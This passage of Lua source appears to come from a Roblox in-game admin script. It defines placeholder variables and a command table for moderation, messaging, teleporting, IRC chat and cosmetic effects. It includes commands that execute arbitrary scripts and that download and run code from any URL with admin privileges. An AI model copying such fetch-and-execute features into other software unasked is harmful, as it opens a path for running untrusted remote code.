5078 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5079 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5080 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5081 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5082 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5083 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5084 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5085 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5086 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5087 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5088
5089 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5090 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5091 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5092 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5093 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5094 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5095 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5096 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5097 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5098 {"_BENCH", "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return ClientInfo[Player.Name].Benchmark else return "[NO BENCHMARK]" end end};
5099 {"_BENCHMARK", "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return ClientInfo[Player.Name].Benchmark else return "[NO BENCHMARK]" end end};
5100 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) end end};
5101 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) end end};
5102 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) end end};
5103 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5104 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5105}
5106
5107---- COMMANDS ----
5108
5109-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5110
5111Commands = { -- can't make local
5112 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5113 print("[MML's Admin]: Test message from "..Speaker.Name)
5114 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5115 end};
5116
5117 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5118 local Players = STRING:Scan(Arguments[1], Speaker)
5119 for _,Player in pairs(Players) do
5120 if Player.Character then
5121 Player.Character:BreakJoints()
5122 end
5123 end
5124 end};
5125
5126 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5127 local Players = STRING:Scan(Arguments[1], Speaker)
5128 for _,Player in pairs(Players) do
5129 if Player.Character then
5130 Instance.new("ForceField", Player.Character)
5131 end
5132 end
5133 end};
5134
5135 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5136 local Players = STRING:Scan(Arguments[1], Speaker)
5137 for _,Player in pairs(Players) do
5138 if Player.Character then
5139 for _,Get in pairs(Player.Character:GetChildren()) do
5140 if Get:IsA("ForceField") then
5141 Get:Destroy()
5142 end
5143 end
5144 end
5145 end
5146 end};
5147
5148 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5149 for _,Player in pairs(Server.Players:GetPlayers()) do
5150 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true)
5151 end
5152 end};
5153
5154 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5155 for _,Player in pairs(Server.Players:GetPlayers()) do
5156 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569)
5157 end
5158 end};
5159
5160 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5161 local Players = STRING:Scan(Arguments[1], Speaker)
5162 for _,Player in pairs(Players) do
5163 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20)
5164 end
5165 end};
5166
5167 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5168 for _,Player in pairs(Server.Players:GetPlayers()) do
5169 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24})
5170 end
5171 end};
5172
5173 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5174 local Players = STRING:Scan(Arguments[1], Speaker)
5175 for _,Player in pairs(Players) do
5176 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24})
5177 end
5178 end};
5179
5180 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5181 local Players = STRING:Scan(Arguments[1], Speaker)
5182 local AgeList = {}
5183 for _,Player in pairs(Players) do
5184 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5185 end
5186 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5187 end};
5188
5189 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5190 local Players = STRING:Scan(Arguments[1], Speaker)
5191 local AgeList = {}
5192 for _,Player in pairs(Players) do
5193 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5194 end
5195 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5196 for _,Player in pairs(SecondPlayers) do
5197 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5198 end
5199 end};
5200
5201 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5202 local Storage = {{}, {}, {}, {}}
5203 local StorageText = {}
5204 local Formatted = {}
5205 for CommandNames,Data in pairs(Commands) do
5206 if not Data.Hidden then
5207 local RankNeeded = RANK:ConvertRank(Data[4])
5208 local Add = ""
5209 if Data[4] == "Non-Admin" then Add = "BLACK " end
5210 if Data[4] == "Admin" then Add = "CYAN " end
5211 if Data[4] == "Member" then Add = "BLUE " end
5212 if Data[4] == "Owner" then Add = "GREEN " end
5213 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5214 local AddBet = Settings.Bet
5215 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5216 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5217 table.insert(Storage[RankNeeded + 1], Add..Text)
5218 StorageText[Text] = CommandNames
5219 end
5220 end
5221 for Num,_ in pairs(Storage) do
5222 table.sort(Storage[Num])
5223 end
5224 for _,Table in pairs(Storage) do
5225 for _,Command in pairs(Table) do
5226 table.insert(Formatted, Command)
5227 end
5228 end
5229 local Clicked = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5230 Clicked.Event:connect(function(Text)
5231 GUI:ShowCommand(Speaker, StorageText[Text])
5232 end)
5233 end};
5234
5235 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5236 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5237 end};
5238
5239 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5240 if GUI:GetColor(Arguments[1]) then
5241 local ColorScheme = string.upper(Arguments[1])
5242 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5243 Settings.ColorScheme = ColorScheme
5244 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5245 else
5246 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5247 end
5248 end};
5249
5250 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5251 local List = {}
5252 for Color,_ in pairs(Colors) do
5253 table.insert(List, Color.." "..Color)
5254 end
5255 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5256 end};
5257
5258 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5259 local Transparency = tonumber(Arguments[1])
5260 if Transparency then
5261 if Transparency > 90 then Transparency = 90 end
5262 if Transparency < 10 then Transparency = 10 end
5263 Settings.TransparencyScheme = Transparency/100
5264
5265 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5266 else
5267 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5268 end
5269 end};
5270
5271 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5272 if Fonts[Arguments[1]] then
5273 Settings.Font = Arguments[1]
5274 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5275 end
5276 end};
5277
5278 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5279 Settings.Fun = not Settings.Fun
5280 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5281 end};
5282
5283 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5284 Settings.DisableAbuse = not Settings.DisableAbuse
5285 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5286 end};
5287
5288 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5289 local List = {}
5290 for Font,_ in pairs(Fonts) do
5291 if Font == Settings.Font then
5292 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5293 else
5294 table.insert(List, Font.." "..Font)
5295 end
5296 end
5297 GUI:ListGui(Speaker, "Font list", List, 44453197)
5298 end};
5299
5300 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5301 local SoundID = tonumber(Arguments[1])
5302 if SoundID then
5303 Settings.ExecuteNotificationSound = SoundID
5304
5305 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5306 else
5307 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5308 end
5309 end};
5310
5311 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5312 Settings.ExecuteNotificationSound = 0
5313 end};
5314
5315 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5316 local Players = STRING:Scan(Arguments[1], Speaker)
5317 for _,Player in pairs(Players) do
5318 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5319 end
5320 end};
5321
5322 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5323 local Players = STRING:Scan(Arguments[1], Speaker)
5324 for _,Player in pairs(Players) do
5325 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5326 end
5327 end};
5328
5329 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5330 local Players = STRING:Scan(Arguments[1], Speaker)
5331 for _,Player in pairs(Players) do
5332 coroutine.wrap(function()
5333 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5334 wait(1)
5335 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5336 end)()
5337 end
5338 end, Hidden = true};
5339
5340 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5341 local Players = STRING:Scan(Arguments[1], Speaker)
5342 for _,Player in pairs(Players) do
5343 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5344 end
5345 end};
5346
5347 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5348 local Players = STRING:Scan(Arguments[1], Speaker)
5349 for _,Player in pairs(Players) do
5350 CORE:ChangeName(Player, Arguments[2])
5351 end
5352 end};
5353
5354 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5355 local Players = STRING:Scan(Arguments[1], Speaker)
5356 for _,Player in pairs(Players) do
5357 if Player.Character then
5358 local Head = Player.Character:FindFirstChild("Label")
5359 if Head then Head:Destroy() end
5360 local Head = Player.Character:FindFirstChild("Head")
5361 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5362 end
5363 end
5364 end};
5365
5366 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5367 local Players = STRING:Scan(Arguments[1], Speaker)
5368 for _,Player in pairs(Players) do
5369 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5370 end
5371 end};
5372
5373 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5374 local Players = STRING:Scan(Arguments[1], Speaker)
5375 for _,Player in pairs(Players) do
5376 local _,RankNum = RANK:GetRank(Player)
5377 if RankNum <= RANK:ConvertRank(Rank) then
5378 Server.TS:Teleport(Arguments[2], Player)
5379 end
5380 end
5381 end};
5382
5383 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5384 local Players = STRING:Scan(Arguments[1], Speaker)
5385 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5386 if Suc then
5387 for _,Player in pairs(Players) do
5388 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5389 end
5390 else
5391 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5392 end
5393 end};
5394
5395 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5396 local Players = STRING:Scan(Arguments[1], Speaker)
5397 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5398 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5399 if Suc then
5400 for _,Player in pairs(Players) do
5401 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5402 end
5403 else
5404 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5405 end
5406 end)
5407 end};
5408
5409 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5410 local Players = STRING:Scan(Arguments[1], Speaker)
5411 for _,Player in pairs(Players) do
5412 local _,RankNum = RANK:GetRank(Player)
5413 if RankNum < RANK:ConvertRank(Rank) then
5414 Server.TS:Teleport(155307015, Player)
5415 end
5416 end
5417 end};
5418
5419 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5420 local Players = STRING:Scan(Arguments[1], Speaker)
5421 for _,Player in pairs(Players) do
5422 local _,RankNum = RANK:GetRank(Player)
5423 if RankNum < RANK:ConvertRank(Rank) then
5424 Server.TS:Teleport(347911447, Player)
5425 end
5426 end
5427 end};
5428
5429 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5430 local Players = STRING:Scan(Arguments[1], Speaker)
5431 for _,Player in pairs(Players) do
5432 CORE:GenerateShield(Player)
5433 end
5434 end};
5435
5436 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5437 local Players = STRING:Scan(Arguments[1], Speaker)
5438 for _,Player in pairs(Players) do
5439 if Player.Character then
5440 local Shield = Player.Character:FindFirstChild("Shield")
5441 if Shield then Shield:Destroy() end
5442 end
5443 end
5444 end};
5445
5446 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5447 local Num = tonumber(Arguments[1])
5448 if Num and Num ~= 0 then
5449 local Random = math.random(1,math.abs(Num))
5450 if Random == math.random(1,math.abs(Num)) then
5451 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5452 else
5453 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5454 end
5455 else
5456 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5457 end
5458 end};
5459
5460 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5461 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5462 IRC:AddChat(Speaker.Name, Arguments[1])
5463 end};
5464
5465 --[[
5466 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5467 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5468 if Res then
5469 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5470 end
5471 end, Http = true};
5472
5473 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5474 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5475 if Res then
5476 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5477 end
5478 end}, Http = true;
5479 ]]
5480
5481 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5482 IRC:Quit("Reconnecting")
5483 IRC:ConnectToServer(Settings.IRCServer)
5484 end};
5485
5486 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5487 local Players = STRING:Scan(Arguments[1], Speaker)
5488 for _,Player in pairs(Players) do
5489 local PreAdd = {}
5490 for _,Data in pairs(IRC.Chats) do
5491 local Error = nil
5492 if Rank == "Owner" then Error = Data[3] end
5493 table.insert(PreAdd, {Data[1], Data[2], Error})
5494 end
5495 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5496 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5497 if Rank ~= "Owner" then Error = nil end
5498 AddMessage:Invoke(UserName, Message, Error)
5499 end)
5500 SendPressed.Event:connect(function(Text)
5501 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5502 IRC:AddChat(Player.Name, Text)
5503 end)
5504 end
5505 end};
5506
5507 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5508 local Players = STRING:Scan(Arguments[1], Speaker)
5509 for _,Player in pairs(Players) do
5510 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5511 if Type == "Leave" then
5512 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5513 elseif Type == "Join" then
5514 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5515 end
5516 end)
5517 PriChat.Chatted.Event:connect(function(UserName, Message)
5518 AddMessage:Invoke(UserName, Message)
5519 end)
5520 SendPressed.Event:connect(function(Text)
5521 PriChat.Chatted:Fire(Player.Name, Text)
5522 table.insert(PriChat.Chats, {Player.Name, Text})
5523 end)
5524 end
5525 end};
5526
5527 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5528 ExecuteSafe(Arguments[1], Speaker)
5529 end};
5530
5531 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5532 local Script = REMOTE:GetURL(Arguments[1], Player)
5533 if Script then
5534 ExecuteSafe(Script, Speaker)
5535 end
5536 end, Http = true};
5537
5538 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5539 local Time = tick()
5540 local Res = REMOTE:GetURL(Arguments[1], Player)
5541 if Res then
5542 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5543 end
5544 end, Http = true};
5545
5546 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5547 CORE:RemoveAdmin(Speaker)
5548 end};
5549
5550 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5551 for _,Player in pairs(Server.Players:GetPlayers()) do
5552 GUI:SendHint(Player, Arguments[1])
5553 end
5554 end};
5555
5556 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5557 local Players = STRING:Scan(Arguments[1], Speaker)
5558 local Debt = nil
5559 for _,Player in pairs(Players) do
5560 if not Debt then
5561 Debt = GUI:ShowDebtStats(Player)
5562 else
5563 GUI:ShowDebtStats(Player, Debt)
5564 end
5565 end
5566 end, Http = true};
5567
5568 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5569 local Players = STRING:Scan(Arguments[1], Speaker)
5570 for _,Player in pairs(Players) do
5571 GUI:CreateHUD(Player)
5572 end
5573 end};
5574
5575 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5576 local Players = STRING:Scan(Arguments[1], Speaker)
5577 for _,Player in pairs(Players) do
5578 if Player:FindFirstChild("PlayerGui") then
5579 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5580 if HUD then HUD:Destroy() end
5581 end
5582 end
5583 end};
5584
5585 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5586 local Players = STRING:Scan(Arguments[1], Speaker)
5587 GUI:Vote(Speaker, Players, Arguments[2], 30)
5588 end};
5589
5590 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5591 local Players = STRING:Scan(Arguments[1], Speaker)
5592 for _,Player in pairs(Players) do
5593 CORE:ExecuteResource("Bomb", Player.Character)
5594 end
5595 end};
5596
5597 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5598 local Players = STRING:Scan(Arguments[1], Speaker)
5599 for _,Player in pairs(Players) do
5600 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5601 CORE:RestoreCamera(Player)
5602 end
5603 end};
5604
5605 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5606 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5607 CORE:RestoreCamera(Speaker)
5608 end};
5609
5610 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5611 local Players1 = STRING:Scan(Arguments[1], Speaker)
5612 local Players2 = STRING:Scan(Arguments[2], Speaker)
5613 for _,Player1 in pairs(Players1) do
5614 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5615 for _,Player2 in pairs(Players2) do
5616 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5617 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5618 end
5619 end
5620 end
5621 end
5622 end};
5623
5624 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5625 local Players = STRING:Scan(Arguments[1], Speaker)
5626 for _,Player in pairs(Players) do
5627 Player:LoadCharacter()
5628 end
5629 end};
5630
5631 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5632 local Players = STRING:Scan(Arguments[1], Speaker)
5633 for _,Player in pairs(Players) do
5634 CORE:RestoreCamera(Player)
5635 end
5636 end};
5637
5638 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5639 local Players = STRING:Scan(Arguments[1], Speaker)
5640 for _,Player in pairs(Players) do
5641 CORE:Jail(Player)
5642 end
5643 end};
5644
5645 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5646 local Players = STRING:Scan(Arguments[1], Speaker)
5647 for _,Player in pairs(Players) do
5648 CORE:UnJail(Player)
5649 end
5650 end};
5651
5652 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5653 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5654 end};
5655
5656 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5657 SOUND:StopSpeaking()
5658 end};
5659
5660 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5661 local Players = STRING:Scan(Arguments[1], Speaker)
5662 local Compile = {}
5663 for Num,Player in pairs(Players) do
5664 local PlayerRank = RANK:GetRank(Player)
5665 local PlayerInfo = ClientInfo[Player.Name]
5666 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5667 table.insert(Compile, "User ID: "..Player.UserId)
5668 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5669 table.insert(Compile, "Rank: "..PlayerRank)
5670
5671 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5672 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
